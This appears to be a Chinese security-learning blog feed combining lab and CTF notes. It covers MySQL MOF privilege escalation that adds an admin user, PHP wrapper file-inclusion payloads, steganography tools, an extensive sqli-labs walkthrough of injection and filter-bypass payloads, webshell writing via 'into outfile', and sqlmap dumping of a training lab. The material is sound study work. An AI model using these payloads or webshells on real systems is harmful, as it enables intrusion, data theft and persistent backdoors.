MySQL UDF提权执行系统命令:https://blog.csdn.net/qq_36119192/article/details/84863268#UDF%E6%8F%90%E6%9D%83
详解MySQL UDF执行命令:http://www.360doc.com/content/18/0228/22/31784658_733287732.shtml
什么是Mof提权?
在c:/windows/system32/wbem/mof/目录下的nullevt.mof每分钟都会有一个特定的时间去执行一次(由”And TargetInstance.Second = 5”;控制,这里输入5就是每分钟的第五秒执行。一会mof文件我会分享的。),那么把cmd命令添加到nullevt.mof中,cmd命令就会自动执行了。
Mof只能在Windows平台使用,但不止数据库可以使用,理论上只要对c:/windows/system32/wbem/mof/有读取权限都可以使用。
secure_file_priv=空白 不限制导入导出
数据库用户对c:/windows/system32/wbem/mof/有读取权限
1 | #pragma namespace("\\\\.\\root\\subscription") |
先修改好保存到本地,以.mof命名即可,更改net.exe user admin admin /add来修改创建的用户。
然后使用文件上传把user.mof文件上传,使用浏览器访问http://172.19.4.7/DVWA/hackable/uploads/user.mof 如果访问成功即上传成功。
使用MySQL把mof文件重新写到C:/windows/system32/wbem/mof/目录下,也可以说是移动。
1 | select load_file("C:/phpStudy/PHPTutorial/WWW/DVWA/hackable/uploads/user.mof") into dumpfile "C:/phpStudy/PHPTutorial/MySQL/lib/plugin/nullevt.mof"; |
我试了2003和2008都是ERROR 1 (HY000): Can’t create/write to file ‘C:\WINDOWS\system32\wbem\mof\nullevt.mof’ (Errcode: 2),我手动放一个mof到mof目录下试试效果,以后找到问题再来补充。
有的时候会失败,执行完后nullevt.mof文件会被删除,执行命令后成功创建用户。
1 | #pragma namespace("\\\\.\\root\\subscription") |
PHP function allow_url_include=On
PHP function allow_url_fopen=On
php://input是个可以访问请求的原始数据的只读流;官方的解释我也看不懂,我就知道POST提交php代码会被执行,不需要键名,直接提交代码。
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
在CTF中一般和文件包含一起利用,通常被利用来读取源码,直接读取会帮当成php代码执行,可以使用base64把读取到的内容编码,解密后即可得到源码。php://filter/read=convert.base64-encode/resource=0e.php
该协议是压缩流,说白了就是php中读取压缩文件,虽然是读取压缩流,但也可以读取未压缩的文件,allow_url_include和allow_url_fopen都为off可以正常使用。我测试相对和绝对路径都可以,php版本5.4.45。用法a=compress.zlib://0e.php.gz
payload:http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23code.txt
也是读取压缩流,但是得绝对路径(淦),先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。
由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。
读取压缩流协议,和前俩个一样。用法:a=compress.bzip2://file.bz2
利用data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo()函数:page=data://text/palin,<?php phpinfo(); ?>
如果过滤了特殊符号,可以使用base64编码:page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
还可以这样写:data:;base64,PD9waHAgQGV2YWwoJF9QT1NUWzFdKTsgPz4=
       隐写术是一本关于信息隐藏的技巧与科学,所谓信息隐藏指的是不让除预期的接收者之外的任何人知晓信息的传递事件或者信息的内容。隐写术的英文名叫做Steganography,来源于特里特米乌斯的一本讲述密码学与隐写术的著作steganographia,该书书名源于希腊语,意为”隐秘书写”。
隐写术题目在CTF中大致分为以下几种类型:
图片隐写—-jpg、png、bmp等图片的信息隐藏
音频隐写—-MP3隐写、波形隐写、频谱隐写
文档隐写—-常见文档格式,如doc、word、pdf等文件的信息隐藏
视频隐写—-在嵌入视频中嵌入隐藏信息
其他隐写—-如NTFS流、HTML的snow隐写等
       在隐写题目中,首先要介绍的知识点是文件头,文件头是位于文件开头的一段承担一定任务的数据。一般都在文件开头的部分,文件头一般是系统文件类似的重要标准,尤其是当我们遇到需要修复文件的题目时,更加需要掌握常见文件的头部和尾部标识。
       十六进制编辑器,用来以16进制视图进行文本编辑的编辑工具软件。十六进制编辑器可以用来检查和修复各种文件、恢复删除文件、硬盘损坏造成的数据丢失等,如010 Editor、Winhex等都是功能比较强大的十六进制编译器,推荐使用010 Editor,内置很多模板,分析比较方便。
Linux系统自带工具,用来快速查看文件类型,通过file指令,我们得以辨识该文件的类型。
file识别文件类型命令:file 文件名
       binwalk是一个自动提取文件系统,该工具最大的优点就是自动完成指定文件的扫描,只能发掘潜藏在文件中所有可疑的文件类型及文件系统。相比file命令行工具来说,file只能从文件的第一个字节来开始识别,且只能把一个文件识别成一个类型的文件,很难看出来是否隐藏着其他文件,binwalk就能很好的完成这项任务。
binwalk识别隐藏文件命令:binwalk 文件名
binwalk提取隐藏文件命令:binwalk -e 文件名
       foremost是基于文件开始格式,文件结束标志和内部数据结构进行恢复文件的程序。该工具通过分析不同类型文件的头、尾、内部数据结构,同镜像文件的数据进行对比,以还原文件。他默认支持19种类型的文件恢复。用户还可以通过修改配置文件扩展支持其他文件类型,有时候binwalk无法正确分离出文件时,可以尝试使用foremost工具分离。
foremost分离常用命令:foremost 文件名 -o 文件夹名
       前面两种都是自动化分离工具,dd这个工具是一种半自动化工具,有时候自动化工具不能实现文件分离,所以需要用这个工具来进行分离。
分离常用命令:dd if=源文件 bs=1 skip=开始分离的字节数 of=目标文件名
       这是一款使用java开发的工具,在CTF中最常用来检测LSB隐写痕迹的工具是stegsolve,这是一款可以对图片进行多种操作的工具,包括对图片进行xor,sub等操作,对图片不同通道进行查看等功能。
File Format:文件格式,这个主要是查看图片的具体信息
Fata Extract:数据抽取,图片中隐藏数据的抽取
Frame Browser:帧浏览器,主要是对GIF之类的动图进行分解
Image Combiner:拼图,图片拼接
       stegdetect程序主要用于分析jpeg文件,可以检测到通过JSteg、JPHide、OutGuess、invisible secrets、F5、appendX和Camouflage等这些隐写工具隐藏的信息,stegdetect通过统计检测来分析图像文件中是否包括隐藏内容。他运行静态测试以判断隐藏的内容是否存在。此外,它还会尝试识别隐藏内容是通过哪个工具嵌入的。
GitHub地址:https://github.com/abeluck/stegdetect
常用命令:stegdetect -s 10 文件名
Windows平台:
jphs:http://io.acad.athabascau.ca/~grizzlie/Comp607/jphs05.zip
Steghide:http://steghide.sourceforge.net/download.php
silenteye:https://sourceforge.net/projects/silenteye/
JPEGsnoop:https://www.impulseadventure.com/photo/jpeg-snoop.html
Linux平台:
outguess:https://github.com/crorvick/outguess
F5:https://github.com/matthewgao/F5-steganography
steghide:https://github.com/StefanoDeVuono/steghide
JPG以一副24位彩色图像为例,JPEG的压缩分为四个步骤:
       颜色转换:在将彩色图像进行压缩之前,必须先对颜色模式进行数据转换,转换完成之后还需要进行数据采样。
       DCT变换:是将图像信号在频率域上进行变换,分离出高频和低频信息的处理过程,然后再对图像的高频部分(即图像细节)进行压缩。
       量化:由于下面的第四步编码过程中使用的码本都是整数,对此要对频率系数进行量化,将之转换为整数。数据量化后,矩阵中的数据都是近似值,和原始图像数据之间有了差异,这一差异是造成图像压缩后失真的主要原因。
       编码:编码是基于统计特性的方式。
Windows下右键属性选择详细信息选项卡即可查看
linux下使用exiftool工具查询,命令:exiftool 文件名
Windows下使用16进制编辑器搜索关键字,一般出现在文件尾
Linux下使用strings工具配合grep过滤关键字
Windows下可以使用16进制编辑器搜索该文件文件尾
Linux下使用binwalk -e来分离文件
在Linux下还可以使用foremost来分离
使用stegdetect工具检测隐写方式,命令: ./stegdetect -s 10.0 文件名
使用JPHide工具进行解密,open jpeg=>Seek=>输入密码=>保存解密文本
同样的使用stegdetect工具进行检测,也可以直接全部工具试一遍
使用stegdetect工具检测出是jphide隐写,但使用jphide工具无法解密,此时考虑更换工具
命令: ./outguess -k 密码 -r 隐写文件名 解密文件名
F5也是属于DCT域的隐写,掌握F5加密和解密方式即可
加密:java Embed 隐写前图片 隐写后图片 -e 隐写文件 -p 密码
解密:java Extract 被隐写图片 -p 密码 //解密后文件:output.txt
steghide隐写不止可以隐写jpg,还可以隐写png等格式,掌握使用方法
加密:steghide embed -cf 隐写图片-ef 隐写文件 -p 密码
解密:steghide.exe extract -sf 被隐写图片 -p 密码
拖入图片打开后点击decode即可解密,加密使用encode
PCRT:https://github.com/sherlly/PCRT
BlindWaterMark:https://github.com/chishaxie/BlindWaterMark
macromedia fireworks 8
BCompare
       PNG是一种采用无损压缩算法的位图格式,其设计目的是试图替代GIF和TIFF文件格式,同时增加一些GIF文件格式所不具备的特性。PNG图像格式文件(或者称为数据流)由一个8字节的PNG文件署名(PNG file signature)域和按照特定结构组织的3个以上的数据块(chunk)组成。
       PNG定义了两种类型的数据块,一种是称为关键数据块(critical chunk),这是必需的数据块,另一种叫做辅助数据块(ancillary chunks),这是可选的数据块。关键数据块定义了4个标准数据块,每个PNG文件都必须包含它们,PNG读写软件也都必须要支持这些数据块。
数据块名称 | 允许多个数据块 | 位置 | 作用 |
---|---|---|---|
IHDR | 不允许 | 第一个数据块 | 文件头数据块 |
PLTE | 不允许 | 第二个数据块,可选 | 调色板数据块 |
IDAT | 允许 | 如果有调色板数据块,则是第三个数据块 | 图像数据块 |
IEND | 不允许 | 最后一个数据块 | 图像结束数据 |
PNG图像文件中每一个数据块的格式都是相同的,分别由4个部分组成。
字段名 | 大小(字节) | 描述 |
---|---|---|
Length(长度) | 4 | 指定数据块中的数据长度 |
Chunk Type Code(数据块类型码) | 4 | 数据块类型,比如IHDR、PLTE、IDAT等 |
Chunk Data(数据块数据) | Length(由图像决定) | 存储数据 |
CRC(循环冗余检测) | 4 | 循环冗余码 |
CRC循环冗余码生成是计算方式是通过Chunk Type Code和Chunk Data中的数据进行计算得到的,在CTF中有时可能需要修复CRC值,计算方式如下:
IHDR
文件头数据块IHDR(header chunk):它包含有PNG文件中存储的图像数据的基本信息,并要作为第一个数据块出现在PNG数据流中,而且一个PNG数据流中只能有一个文件头数据块。文件头数据块由13字节组成,它的格式如下表所示。
其中我们需要了解的是前8个字节的内容,也就是Width和Height,出题人经常会去修改一张图片的高度或宽度使得一张图片显示不完整从而达到隐藏信息的目的。
IDAT
图像数据块IDAT:它存储着实际的图像数据,在数据流中可包含多个连续顺序的图像数据块,一个png图像包含多个IDAT数据块,但只有一个IDAT块被充满时,才会继续新的块。在题目中如果遇到长度和其他块不同时应该引起注意。
IEND
PNG的图像结束数据是用来标记PNG文件结束,并且必须放在文件尾部,由12个字节组成。一般情况下,所有的PNG图像结束数据块的十六进制数值都是一样的,IEND数据块的长度总是00 00 00 00,数据标识总是49 45 4E 44,因此,CRC码也总是AE 42 60 82。出题人可能修改该结构,导致文件无法打开。
通过PCRT检测图片的IHDR是否正确,不正确可能是修改了高宽和crc校验值。如果是修改了高宽,修改后即可显示隐藏内容,使用脚本爆破正确的高宽。在Windows下修改了crc是可以正常打开的,但是在linux下无法打开。
PCRT命令:py -2 PCRT.py -v -i IHDR.png
1 | import os |
paylaod:-1' union select 1,2,3%23
知识点:闭合引号
payload:-1 union select 1,database(),3
知识点:union联合查询
paylaod:-1') union select 1,database(),3%23
插入1'
发现报错:'1'') LIMIT 0,1
,告诉我们附近出错了,后面跟着括号,这时考虑闭合括号,注释掉后面的语句:1')-- -
,这时返回就正常了,使用union联合查询即可。
知识点:闭合括号,闭合单引号。
payload:-1") union select 1,database(),3-- -
继续输入1'
,发现没反应,估计过滤了单引号,换成双引号试试,报错:"1"") LIMIT 0,1
,1后面出现两个双引号,所以和上面一样的方法。
知识点:闭合括号,闭合双引号。
paylaod:1' and (extractvalue(1,concat(1,(select database()))))-- -
输入1和2都返回You are in...........
,可能时盲注,这是判断输入’判断类型。通过报错发现是字符型,接下来检测注入点,输入1' and 1=1-- -
回显正常,输入1' and 1=2-- -
无回显。存在的id回显都是一样的,无法使用union注入,考虑报错注入,使用extractvalue()报错成功注入。
知识点:extractvalue()报错注入,单引号闭合
payload:2" and (extractvalue(1,concat(1,(select database()))))-- -
和less一样,有盲注的特征,根据之前经验,猜测和上一题的一样,就相差一个双引号,直接输入1”测试,通过猜测验证了猜想。
知识点:extractvalue()报错注入,双引号闭合
paylaod:1')) and (length(database())=8)%23
通过返回正常判断数据库长8位。
id=1和id=2发现返回值都是You are in.... Use outfile......
,中文您在...中。使用outfile ......
,这应该是提示,我们继续测试。输入单引号报错,但没有回显报错信息,只能考虑盲注。通过查看源码发现是两个括号((真狗)),通过1')) and 1=2%23
发现存在盲注。
知识点:闭合多个括号,布尔盲注
paylaod:1' and (length(database())=8)%23
和less-7一样,只需要去掉括号即可。检测是单引号还是双引号:输入单引号无回显,输入双引号有回显,则判断是单引号。
知识点:字符型布尔盲注
payload:1' and (length(database())=8) and sleep(5)-- -
通过1 and 1=2
返回正常发现不是数字型注入(也有可能存在过滤),尝试字符串。经过查看源码,发现无论什么都是输出一样的,此时union联合查询、报错注入、布尔盲注都不能用,只能试试时间盲注。通过1' and (sleep(5))-- -
发现存在延迟返回,可以使用时间盲注。
知识点:时间盲注
payload:1" and (length(database())=8) and sleep(5)-- -
通过题目发现是时间忙著,双引号。把上一题的payload单引号换成双引号就好了。
知识点:时间盲注
payload:1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()-- -
和less-1一样,只是换成了post提交,使用hackbar测试是记得删除&submit=Submit,否则无法提交。
知识点:POST提交,单引号闭合,union联合查询
payload:11")union select 1,database() -- -
前面加11是为了前面报错,从而执行union的内容
登录一般是字符型,加入单引号没反应,换双引号试试,报错:admin") LIMIT 0,1
,发现后面有个括号,加上括号即可使用union联合注入。
知识点:SQL语句闭合,union联合查询注入
payload:admin') and (extractvalue(1,concat(1,(select database()))))-- -
输入admin'
爆出admin') LIMIT 0,1
错误,加上括号闭合语句,输入admin') or 1=1-- -
发现无回显,猜测报错注入,使用extractvalue()试试,成功获得库名XPATH syntax error: 'security'
。
知识点:extractvalueb报错注入,闭合
payload:admin" and (extractvalue(1,concat(1,(select database()))))-- -
输入admin'
无反应,输入admin"
抛出admin" LIMIT 0,1
错误,闭合双引号使用extractvalue报错注入。
知识点:单引号extractvalueb报错注入
payload:admin' and length(database())=8 and sleep(5)-- -
输入全部东西都无回显,考虑时间盲注,先测试闭合。闭合后使用and短路可以使用sleep延迟注入,and运算当前面的表达式为假,就不会运行后面的语句。
知识点:时间盲注,and短路
payload:admin") and length(database())=8 and sleep(5)-- -
根据之前的经验,直接把上一题的payload单引号换成双引号,发现不行,加个括号即可造成延时。
知识点:时间盲注,and短路,双引号字符串
payload:passwd=admin' or updatexml(1,concat(1,(select database())),2)-- -&uname=admin
根据[PASSWORD RESET](密码重设),判断是update更新,我之前没有update注入经验,我们先猜测一下后台sql语句再动手,再本地测试正常的update语句update user set password='admin' where username='admin'
,先百度学习update注入吧。学习基础点这里,通过百度发现,使用or连接报错注入。User name是where条件后的,我们应该注入New Password,先判断是单引号还是双引号,输入admin’报错,说明是单引号,加上or连接updatexml函数即可报错注入。
知识点:update报错注入
payload:' or updatexml(1,concat(1,(select database())),2))-- -
根据题目发现是报头注入-基于错误-字符串,百度学习了。参考文章点这里,这篇文章刚讲了less-18。
学习后发现账号密码没法注入,后面还有一个把ua和,ip,username插入到数据库的语句,可以使用报错注入。前提得知道账号密码,通过前面得题我们知道有个账号密码都为admin得账号,这是就可以利用,后面的括号一定要闭合。
知识点:insert报错注入,闭合语句
payload:dir',extractvalue(1,concat(1,(select database()))))-- -
这个换成了Referer注入,但我们换了一种思路,我们注入的列名是ip那个列名,Referer是我们自定义的dir,然后连接报错注入语句,最后注释掉后面的语句。
知识点:insert报错注入,闭合语句
payload:uname=dir' union select database(),101,102-- -
输入账号密码登录后显示账号信息和cookie,这时刷新还是登录状态,应该是使用cookie的账号去数据库查询了,删除cookies手动添加cookieuname=admin
后请求,果然如此,之后构造union联合查询语句注入。
知识点:cookie union联合查询注入
payload:uname=ZGlyJykgdW5pb24gc2VsZWN0IGRhdGFiYXNlKCksMTAxLDEwMi0tIC0=
先正常登录,提示我们YOUR COOKIE : uname = YWRtaW4= and expires: Sun 05 Jul 2020 - 21:16:56
,使用base64解码YWRtaW4=
刚好是我们登录的admin账号,猜测和20的区别就是多了个base64编码,把20的payload进行base64提交,爆出union select database(),101,102-- -') LIMIT 0,1
错误,根据提示闭合括号即可。
知识点:cookie-base64-union联合查询注入
payload:uname=ZGlyIiB1bmlvbiBzZWxlY3QgZGF0YWJhc2UoKSwyLDMtLSAt
输入admin’的base64编码没反应,也没报错,试试admin”的base64,爆出"admin"" LIMIT 0,1
错误,闭合双引号即可。
知识点:cookie注入,base64,union,双引号字符型
payload:id=-1' union select 1,2,3 and '1'='1
输入1'
爆出'1'' LIMIT 0,1
错误,使用-- -
注释掉后面的语句,又爆出' LIMIT 0,1
错误,估计-- -
被过滤了,使用#号注释,由于#号在浏览器有特殊含义,所以使用url编码后的%23,还是报错'1'' LIMIT 0,1
,%23也被干掉了。那我们使用自然闭合吧,最后发现1' and '1'='1
正常回显,拼接union联合查询。
1 | //后台源码 |
payload:admin'#
是个登录框,登录后是修改密码的页面,我们从登录开始找注入点,经过几轮测试还是放弃了,在修改页面动手吧。修改密码肯定是update语句,分析current_password应该是where后的语句,重点在password和re_password,先试试password,经过测试使用hackbar插件好像不行了,用burp吧,后来查了百度说是二次注入,原文点这里,原来是注册账号的时候构造sql语句,等更新密码的时候php读取到用户名就可以进行注入,但是用户名不能超过20个字符。
我们在注册账号页面使用admin'#
注册,然后使用刚刚注册的账号登录修改密码,当数据库执行的时候是UPDATE users SET PASSWORD='admin123' where username='admin'#' and password='admin'
,也就是说数据库执行了UPDATE users SET PASSWORD='admin123' where username='admin'
,这条语句就是更新username为admin的密码,当我们注册的时候用户名为用户名'#
时,即可修改该用户的密码。
知识点:二次注入
payload:id=1' anandd updatexml(1,concat(1,(select database())),2)-- -
根据报错提示,or和and被过滤,尝试双写绕过成功,可以使用union联合查询注入,但这里为了体现出and被过滤,使用了updatexml报错注入。
知识点:双写绕过,报错注入
payload:-1 union select 1,database(),3
看起来是25的升级版,没有了报错回显,经过测试发现是整数型,也是过滤了or和and,同样的栓双写绕过,使用oorrder by 3正常返回和oorrder by 4返回异常获得列名为3,然后使用union联合查询即可。
知识点:数字型union注入
payload:1'anandd(updatexml(1,concat(1,database()),2))anandd'1'='1
测试后发现过滤:and or %0a %0b %0c %0d 空格,其中and和or可以双写绕过,使用报错注入可以使用空格,或者是括号绕过空格。
知识点:空格绕过,双写绕过,注释绕过
payload:1'aandnd(length((select(database())))=8)aandnd'1'='1
和上面一样,这里没有了报错回显,所以不能使用报错注入了,因为union不能使用括号绕过(两个关键字),所以使用盲注即可,思路想好了,重点是构造paylaod,由于不能使用空格,所以只能使用波尔盲注。
知识点:空格绕过,双写绕过,注释绕过,布尔盲注
payload:id=1'and(extractvalue(1,concat(1,(selEct(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))))and'1'='1
这次过滤了select,使用双写没法绕过,但我发现and和or没有被过滤了,测试了一下大小写即可绕过select过滤,由于有报错回显,所以使用报错注入即可。
知识点:构造复杂payload,大小写绕过
payload:id=1"and((selEct(length(group_concat(table_name)))from(information_schema.tables)where(table_schema=database()))=29)and"1"="1
输入1’正常返回,输入1”返回异常,所以判断是”字符串,还是不能使用空格,而且还没有报错回显,只能使用盲注,但是构造payload一定要细心。通过构造payload猜出该数据库的类名长度是29
知识点:构造复杂payload,大小写绕过,盲注
payload:1'and((select(length(database())))=8)and '1'='1
该题还是过滤了空格,我使用%a0不知道为什么绕不过,应该是我mysql版本的原因,看了师傅们的解析应该可以使用union联合查询,但我使用的是盲注。
知识点:构造复杂payload,盲注
payload:0')union%0aunion%0aselect%0aselect%0a1,2,3%0aand('1'='1
知识点:双写绕过,小括号字符串闭合
参考文章:sqli-labs(28)
payload:-1' union select 1,2,(group_concat(table_name))from(information_schema.tables)where(table_Schema=database())--+
这关直接可以使用union联合查询注入,不知道考点在哪,度娘一下。
payload:-1" union select 1,2,(group_concat(table_name))from(information_schema.tables)where(table_Schema=database())--+
和less29就一个引号只差,没啥好说的。
通过群里讲师得到,id=95存在注入,其他不存在,我试了一下也是不存在。
http://lab.yijincc.com:50006/?m=home&c=View&a=index&aid=95
通过id初步判断时数字型注入,输入95 and 1=1,页面无异常
输入95 and 1=2页面不存在,说明存在数字型注入
经过测试发现order by 48回显正常(我的天48个),union联合查询获取回显位置,payload:95 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48
回显不是我们期待的,考虑过滤了union,使用异或测试union。95^(length('union')=5)
如果未被过滤,最后运算结果应该是95,异或注入回显一致说明没有被过滤,但返回的不是aid为95的页面,是aid为94的页面,后来我发现没改aid,改成-95
改为95就404了,可能是过滤了select之类的,使用异或测试都没有被过滤。联想到一开始得到的结论 只有aid为95猜存在注入
后来我删了一个列,发现了报错注入,尝试了extractvalue报错注入无果
后来使用 floor注入发现成功了,payload:and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x) a)
昨晚找到floor报错注入,今天又用了sqlmap来跑,通过指定参数来爆破
语句:py -3 sqlmap.py -u “http://lab.yijincc.com:50006/?m=home&c=View&a=index&aid=95“ -p aid –batch
跑了一会发现三种注入方式,分别是布尔盲注,报错注入,时间盲注。
因为这是靶场,接下来就是脱库了,sqlmap比自己写脚本来的快,
语句:py -3 sqlmap.py -u “http://lab.yijincc.com:50006/?m=home&c=View&a=index&aid=95“ -p aid –dump-all –batch
测试结束
]]>未知列名注入一般用于过滤column,通过不需要查询列名的方式来获取数据。
payload:id=-1 union select 1,a.2,3 from (select 1,2,3 union select * from user limit 1,1)a
分析payload要从最里面,最先执行的sql语句开始。
先看select 1,2 union select * from flag
,该语句的执行效果如下
表名变成是1,2,3 但我们要怎么获取到里面的数据呢,看第一个union查询的a.2
,它派生表的别名,.2
是第二个表,也就是user表的username列,a.2
相当于查询了username列名。
使用场景:未知列名
使用条件:报错回显
join函数 用于把两个表连接起来,join on是把满足条件的连接起来。
join用法:select * from user join flag;
using函数 和join函数组合使用,作用是过来相同列
用法:select * from user join flag using(id);
原理:使用别名的时候,不允许出现相同的列名。
select 1,1;可以执行,不报错
select * from (select 1,1)a;报错
根据别名查询不能存在相同列名的特性,我们可以构造相同列名来爆出列名。
payload:select * from (select * from user as a join user as b)c;
这样即可爆出第一个相同的列名,使用using组合已知列名即可爆出其他列名。
payload:select * from (select * from user as a join user as b using(id,username))c;
多个列名使用逗号分隔,在using函数内。
在MySQL中搜索数据时,可以使用通配符代替多个字符,通配符必须和like一起使用。
1 | %代替一个或多个字符 |
like函数 主要用于在where语句中搜索指定的匹配模式。
用法:select * from user where username like ‘a%’;
payload:password=admin&username=1' or 1=1 and password like 'i%'%23
前提知道admin,如果存在注入,可以使用like猜密码。
正则表的是,又称规则表达式。(regex、regexp或re),计算机科学的一个概念。正则表达式通常被用来检索、替换那些符合某个模式(规则)的文本。
实例:select * from user where username regexp '^a';
匹配username列里已a开头的列。
payload:password=admin&username=1' or 1=1 and password regexp '^i'%23
strcmp函数 用于比较两个字符串的大小。
用法:select strcmp(‘a’,’b’);
当字符串相等时,返回0;当参数1大于参数2时,返回1;当参数1小于参数2时,返回-1。
payload:password=admin&username=admin' and (strcmp((ascii(substr(password,1,1))),54))%23
当猜对时,strcmp返回0,经过and运算为假,所以返回账号密码错误。
当猜错时,不论strcmp返回-1还是1,再经过and运算后都是1,所以是密码错误。
show databases;查看所有数据库
show tables;查看当前数据库的所有表
show variables;查看系统变量
show variables like ‘sec%’;使用like限制或者模糊查询
MySQL新版本增加了一个secure_file_priv选项,用来读取文件进行限制。
secure_file_priv参数是用来限制load data,select……outfile,adn load_file()传到那个目录的。
当secure_file_peiv值为null时,表示MySQL不允许导入导出。
当secure_file_peiv值为/tmp时,表示MySQL只允许在/tmp目录导入导出
当secure_file_priv没有值时,表示MySQL对导入导出没有限制
开启方式,windows在my.ini中添加secure_file_priv =
,linux在my.cnf中添加secure_file_priv =
即可。
load_file() 读取文件内容,返回一个字符串,文件必须位于服务器本地,必须使用绝对路径,并且对文件有操作权限,文件内容必须小于max_allowed_packet。注意:目录直接的区分使用/ 不能使用
实例:select load_file('/www/wwwroot/web/7/6/flag.txt');
payload:password=admin&username=' union select 1,load_file('/www/wwwroot/web/7/6/flag.txt'),3%23
load_file必须放在回显位。
into outfile函数 用于把数据导出到一个文件中。
into outfile的用法:select [column_name] from [table_name] into outfile [path];
限制条件:和load_file一样,受到seccure_file_priv的限制;path要使用/并且是绝对路径
写一句话:select '<?php @eval($_POST[1]);?>' into outfile '/www/wwwroot/web/7/7/value.php';
dumpfile函数 也是用于把数据导入到一个文件中,限制一行。
dumpfile用法:select [column_name] from [table_name] where id=1 into dumpfile [path];
限制条件:和load_file一样,受到seccure_file_priv的限制;path要使用/并且是绝对路径
写一句话:select '<?php @eval($_POST[1]);?>' into dumpfile '/www/wwwroot/web/7/7/value.php';
写webshell:password=admin&username=dir' union select 1,2,"<?php @eval($_GET['dir']);?>" into outfile '/www/wwwroot/web/7/7/1.php'%23
读取flag:dir=readfile('flag.txt');
使用场景:MySQL对文件读写做了限制,只允许在指定文件读写。
使用要求:当服务器存在文件包含漏洞时,可以利用文件包含+写文件来getshell
str_replace是一个php函数,主要用于替换字符串。
1 |
|
双写绕过一般是str_replace 出现了替换为空的情况因为str_replace是单次替换,不会在替换了一次之后,重新检查字符串能不能在被替换。
$username = str_replace(‘union’,’’,$username);
针对这种方法,就可以利用username=ununionion 这样的形式来绕过。
payload:password=admin&username='ununionion selselectect 1,2,3%23
SQL语句:select * from user where username=''union select 1,2,3#'and password='admin';
\反斜杠用于把特殊字符转义为普通字符,比如’在sql中是闭合的作用,如果加上'那他就是一个单引号,而不是闭合符号。
$username=str_replace(“‘“, ‘\'‘, “admin’”);
最后运行的是:admin'这样单引号就失去了闭合的作用,被当成了普通符号,这时候我们手动加一个反斜杠,这时被替换成admin\\‘,1 3个反斜杠转义了2 4个反斜杠,所有单引号就能跳出来。
payload:password=admin&username=\'union select 1,2,3%23
SQL语句:select * from user where username='\\'union select 1,2,3#'and password='admin';
1 | .gitgit代码管理残酷 |
检查指定url是否存在sql注入
sqlmap.py -u url
当前正在使用的数据库名称
sqlmap.py -u url –current-db
当前正在使用的用户名
sqlmap.py -u url –current-user
列出所有数据库
sqlmap.py -u url –dbs
列出指定数据库的所有表
sqlmap.py -u url -D database –tables
指定库名和表名列出所有列名
sqlmap.py -u url -D database -T table –columns
获取全部列名数据
sqlmap.py -u url -D database -T table –dump
获取指定列名数据
sqlmap.py -u url -D database -T table -C column –dump
指定获取多少条数据
sqlmap.py -u url -D database -T table -C column –start x –stop y –dump
延迟注入
sqlmap.py -u url –delay 2
最大http请求并发数量(线程)
sqlmap.py -u url –threads 10
paylaod:py -3 sqlmap.py -u "http://192.168.1.128/7/9/strsql.php" --data="username=admin" --batch
–data=”username=admin”指定注入名,post方式提交。
–batch 默认值注入,不需要人为选择
paylaod:py -3 sqlmap.py -u "http://192.168.1.128/7/9/strsql.php" --data="username=admin" -dbs
可以加入线程参数,–threads 10
完结
]]>and和or属于运算符,主要用途是把多个条件结合起来,过滤sql语句的返回结果。主要用在where语句中。
and 又叫与运算,当两个条件都为真时,返回真,否则为假。格式:条件1 adn 条件2
实例:select * from user where id=7 and username='admin';
虽然id=7的数据存在,但这条数据的username不是admin,所以返回数据为空
or又叫或运算,有一个条件为真,结果为真,两边都为假,则为假。格式:条件1 or 条件2
实例:select * from user where id=8 or username='test1';
满足条件的数据有两个,所以输出两条数据
当程序运行时,不会对注释的内容做任何处理,注释一般可以出现在程序的任何地方,用来提示或者解释程序功能。
在MySQL中单行注释符号有两个,一个是#
,另一个是-- -
-- -
比较特殊,他的原型是--
,两个杠后面有个空格,但为了区分空格常常在后面有个字符,那个字符可以为任意字符,也可以不加,但空格不能少。
多行使用/**/
来注释,在一般单行注释被过滤的时候使用,但是必须闭合,所以我不知道他在注入中的意义在哪里。
简述:当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。
URL:www.text.com/text.php?id=3'
SQL:select * from table where id=3'
如果sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常,此时可能存在SQL注入
URL:www.text.com/text.php?id=3 and 1=1
SQL:select * from table where id=3’ and 1=1
语句执行正常,与原始页面如任何差异,此时可能存在SQL注入
URL:www.text.com/text.php?id=3 and 1=2
SQL:select * from table where id=3 and 1=2
语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异,此时可能存在SQL注入
使用intval函数强制把用户输入的内容转换为int类型。
简述:当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来包裹,而字符串一般需要通过单引号来包裹字符。
例如数字型语句:select * from table where id =3
而字符型如下:select * from table where name='admin'
因此,在构造payload时通过闭合单引号可以成功执行语句
URL:www.text.com/text.php?name=admin'
SQL:select * from table where name='admin''
由于加单引号后变成三个单引号,则无法执行,如果报错,此时可能存在SQL注入
URL:www.text.com/text.php?name=admin' and 1=1
SQL:select * from table where name='admin' and 1=1'
也无法进行注入,还需要通过注释符号将其绕过,或者闭合后面的双引号
URL:www.text.com/text.php?name=admin' and 1=2-- +
SQL:select * from table where name='admin' and 1=2-- +'
由于最后有个单引号被注释,所以该SQL语句合法,加1=2类似数字型注入。
字符型万能密码必须闭合单引号,可以通过注释,也可以通过闭合最后的单引号
因为字符型注入需要输入单引号来闭合SQL语句,所以在防御上可以过滤单引号和转义单引号。
union主要是把两个查询结果连接起来,放到一个结果集;前后查询的列名可以不一样,但列的数量必须一致。
